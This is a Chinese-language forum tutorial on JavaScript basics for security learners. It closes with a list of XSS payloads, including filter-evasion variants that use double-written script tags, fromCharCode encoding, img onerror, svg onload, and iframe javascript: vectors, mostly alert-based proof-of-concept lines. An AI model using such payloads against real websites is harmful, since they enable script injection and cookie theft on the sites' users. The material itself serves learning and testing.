网络安全-js安全知识点与XSS常用payloads

打印 上一主题 下一主题

主题 809|帖子 809|积分 2427

简介
JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。
用法
HTML 中的脚本必须位于 <script> 与 </script> 标签之间。
脚本可被放置在 HTML 页面的 <body> 和 <head> 部门中。
JS必备知识
输出与注释

输出



  • 使用 window.alert() 弹出警告框。
  • 使用 document.write() 方法将内容写到 HTML 文档中。
  • 使用 innerHTML 写入到 HTML 元素。
  • 使用 console.log() 写入到欣赏器的控制台。
   <script>
window.alert('lady_killer9');
</script>
  

   <p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>
  

   <script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>
  

注释

单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。
语法

关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。
使用 ; 来分隔语句
使用 \ 来举行折行
运算符、条件控制与c++差不多
值类型(根本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。
引用数据类型:对象(Object)、数组(Array)、函数(Function)。
动态类型,即变量可以改为不同类型。
面向对象语言,对象有属性和方法。
函数

关键字function定义一个函数
参数默认值为undefined,argument 对象包含了函数调用的参数数组。
关键字return来返回值
   function myFunction(var1,var2,...)
{
代码
  return something;
}
  字符串方法

字符串方法  方法描述charAt()返回指定索引位置的字符charCodeAt()返回指定索引位置字符的 Unicode 值concat()连接两个或多个字符串,返回连接后的字符串fromCharCode()将 Unicode 转换为字符串indexOf()返回字符串中检索指定字符第一次出现的位置lastIndexOf()返回字符串中检索指定字符末了一次出现的位置localeCompare()用当地特定的序次来比力两个字符串match()找到一个或多个正则表达式的匹配replace()更换与正则表达式匹配的子串search()检索与正则表达式相匹配的值slice()提取字符串的片断,并在新的字符串中返回被提取的部门split()把字符串分割为子字符串数组substr()从起始索引号提取字符串中指定命目的字符substring()提取字符串中两个指定的索引号之间的字符toLocaleLowerCase()根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射toLocaleUpperCase()根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射toLowerCase()把字符串转换为小写toString()返回字符串对象值toUpperCase()把字符串转换为大写trim()移除字符串首尾空缺valueOf()返回某个字符串对象的原始值 变乱

HTML 变乱可以是欣赏器行为,也可以是用户行为。
常见HTML变乱  变乱描述onchangeHTML 元素改变onclick用户点击 HTML 元素onmouseover用户在一个HTML元素上移动鼠标onmouseout用户从一个HTML元素上移开鼠标onkeydown用户按下键盘按键onload欣赏器已完成页面的加载onerror堕落时执行,用于故意构造错误时执行代码 表单

   document.forms[表单名][变量名]
  Cookie

   <script>document.cookie</script>
  代码执行

eval函数将参数作为js代码执行
伪协议

javascript:js代码,可以放到Html标签中
XSS常用payload
普通

  
  1. <script>alert('XSS')</script>
  2. <script>document.cookie</script>
复制代码
   双写绕过

比方,php中使用str_replace函数更换<script>
  
  1. <scr<script>ipt>alert('XSS')</scr<script>ipt>
复制代码
   编码绕过

比方,php中使用mysqli_real_escape_string函数转义特殊字符
  
  1. "><script>alert(String.fromCharCode(88,83,83))</script>
复制代码
   html标签绕过正则

比方,php中使用preg_filter函数举行正则匹配删除script
   登录后复制 
  1. <img src=x onerror=alert('XSS');>
  2. <img src=x:alert(alt) onerror=eval(src) alt=xss>
  3. "><svg/onload=alert(/XSS/)
  4. <div onpointerover="alert(45)">MOVE HERE</div>
  5. <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
  6. <A HREF=http://127.0.0.1/phpinfo.php>link</A>
复制代码
 
网络安全学习路线

对于从来没有接触过网络安全的同砚,我们帮你预备了详细的学习发展路线图。可以说是最科学最系统的学习路线,各人跟着这个大的方向学习准没题目。



同时每个发展路线对应的板块都有配套的视频提供:

需要网络安全学习路线和视频教程的可以在批评区留言哦~
末了

   

  • 如果你确实想自学的话,我可以把我本身整理收藏的这些教程分享给你,里面不但有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相干的课件笔记,我都已经学过了,都可以免费分享给各人!
    给小同伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节流成本的方式,因为能够帮你节流大量的时间和精力成本。对峙住,既然已经走到这条路上,固然前途看似困难重重,只要咬牙对峙,终极会收到你想要的效果。
  黑客工具&SRC技能文档&DF书籍&web安全等(可分享)


结语

网络安全财产就像一个江湖,各色人等聚集。相对于西欧国家底子扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正直,我国的人才更多的属于歪路左道(很多白帽子大概会不服气),因此在未来的人才培养和建立上,需要调整布局,鼓励更多的人去做“正向”的、联合“业务”与“数据”、“自动化”的“体系、建立”,才气解人才之渴,真正的为社会全面互联网化提供安全保障。
   特别声明:
此教程为纯技能分享!本教程的目的决不是为那些怀有不良动机的人提供及技能支持!也不负担因为技能被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒各人对网络安全的器重,并采取相应的安全步伐,从而减少由网络安全而带来的经济损失
  


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

大连密封材料

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表